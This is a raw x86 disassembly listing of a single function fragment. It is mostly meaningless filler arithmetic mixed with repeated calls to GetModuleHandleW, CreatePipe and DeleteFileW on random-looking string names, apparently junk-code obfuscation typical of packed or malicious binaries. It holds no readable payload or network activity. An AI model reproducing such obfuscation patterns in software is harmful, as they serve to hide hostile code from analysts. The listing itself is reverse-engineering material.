je 0x77266d
cmp dword [ebp - 0x50], 0x6c
je 0x77267c
jmp 0x77268b
mov eax, dword [ebp - 8]
or eax, dword [ebp - 8]
or eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
jmp 0x772699
mov ecx, dword [ebp - 0x28]
add ecx, 0x17e2
mov word [ebp - 0x1c], cx
jmp 0x772699
movzx edx, byte [ebp - 0x2c]
movzx eax, word [ebp - 0x10]
add edx, eax
mov byte [ebp - 0xc], dl
jmp 0x772699
movzx ecx, byte [ebp - 0x24]
add ecx, dword [ebp - 0x1c]
or ecx, dword [ebp - 0xc]
mov word [ebp - 0x20], cx
movzx edx, word [ebp - 0x20]
or edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x10]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x14]
add eax, 0x204e
and eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 8]
and ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], ecx
push str.nnhltfow
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xd0c
movzx edx, word [ebp - 0x14]
and edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 0xc]
add ecx, 0x1d
mov dword [ebp - 0xc], ecx
xor edx, edx
sub edx, dword [ebp - 0x10]
or edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x10]
mov byte [ebp - 0x14], al
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
movzx edx, byte [ebp - 0x18]
mov eax, 0x558
sub eax, edx
mov byte [ebp - 8], al
cmp dword [ebp - 0xc], 0xd46
jb 0x7726df
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
sub edx, ecx
mov dword [ebp - 0x28], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x24], ax
push 0
push 0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 8], 0
ja 0x7727b7
push str.dands
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 8], eax
movzx edx, byte [ebp - 8]
or edx, dword [ebp - 0x28]
mov dword [ebp - 0x24], edx
xor eax, eax
sub eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
push str.iadr
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
push 0
push 0
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 4]
add eax, 0xf95
mov dword [ebp - 0xc], eax
push str.dtgiek
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x24], eax
movzx ecx, word [ebp - 0xc]
movzx edx, byte [ebp - 0x24]
sub ecx, edx
mov word [ebp - 0x2c], cx
mov eax, dword [ebp - 0x14]
add eax, 0x1f6f
and eax, 0
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc], ecx
mov edx, 0xc4b
sub edx, dword [ebp - 0x14]
or edx, 0xaba
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
push 0
push 0
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x1114
mov word [ebp - 0x24], cx
push str.eare
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
push 0
push 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0xc]
mov dword [ebp - 0x2c], ecx
push str.yskrt
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x28], eax
movzx edx, word [ebp - 0xc]
and edx, dword [ebp - 0x14]
mov byte [ebp - 0x10], dl
mov eax, dword [ebp - 0x24]
sub eax, 0xbdd
or eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x2c]
and ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
push 0
push 0
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x14], eax
push str.sdshdaeawrttisseatp
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
and ecx, 0
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], edx
push str.cdrtura
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
or eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x2c]
or ecx, dword [ebp - 0x10]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], 0x54
je 0x77292c
cmp dword [ebp - 0x54], 0x9c
je 0x772921
cmp dword [ebp - 0x54], 0xe1
je 0x772911
jmp 0x772937
movzx eax, word [ebp - 0xc]
imul eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
jmp 0x772944
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
jmp 0x772944
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x28]
mov byte [ebp - 0x1c], dl
jmp 0x772944
movzx eax, word [ebp - 4]
or eax, dword [ebp - 0x14]
or eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 4]
movzx edx, byte [ebp - 0x2c]
sub ecx, edx
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
movzx eax, byte [ebp - 0x20]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
push 0
push 0
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0xc]
mov byte [ebp - 0x14], cl
call fcn.00770a10
movzx edx, byte [ebp - 0x24]
cmp dword [ebp - 0x2c], edx
jbe 0x7729a1
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x14]
or eax, 0x116d
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x24], ecx
mov ecx, 0xa966c0
call dword [0xa96730]
mov edx, dword [ebp - 4]
or edx, 0x1ed3
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push str.agwcln
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x20], eax
mov esp, ebp
pop ebp
ret